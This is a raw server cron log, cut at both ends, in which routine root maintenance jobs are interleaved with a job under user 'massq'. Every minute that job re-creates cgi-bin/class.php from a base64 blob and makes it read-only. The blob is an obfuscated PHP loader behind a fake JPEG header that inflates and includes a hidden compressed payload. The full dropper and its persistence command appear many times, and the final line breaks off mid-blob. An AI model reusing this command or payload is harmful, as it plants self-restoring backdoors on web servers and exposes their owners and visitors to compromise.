"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:20:01 server CROND[10712]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:20:01 server CROND[10713]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 11:20:01 server CROND[10714]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 11:20:01 server CROND[10716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:20:01 server CROND[10717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:21:01 server CROND[10935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:22:01 server CROND[11054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:23:01 server CROND[11139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:24:01 server CROND[11204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:25:01 server CROND[11283]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:25:01 server CROND[11284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:25:01 server CROND[11285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:26:01 server CROND[11525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:27:01 server CROND[11615]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 11:27:01 server CROND[11617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:28:01 server CROND[11680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:29:01 server CROND[11742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:30:01 server CROND[11806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:30:01 server CROND[11807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 11:30:01 server CROND[11808]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 11:30:01 server CROND[11809]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 11:31:01 server CROND[12031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 11:32:01 server CROND[12118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7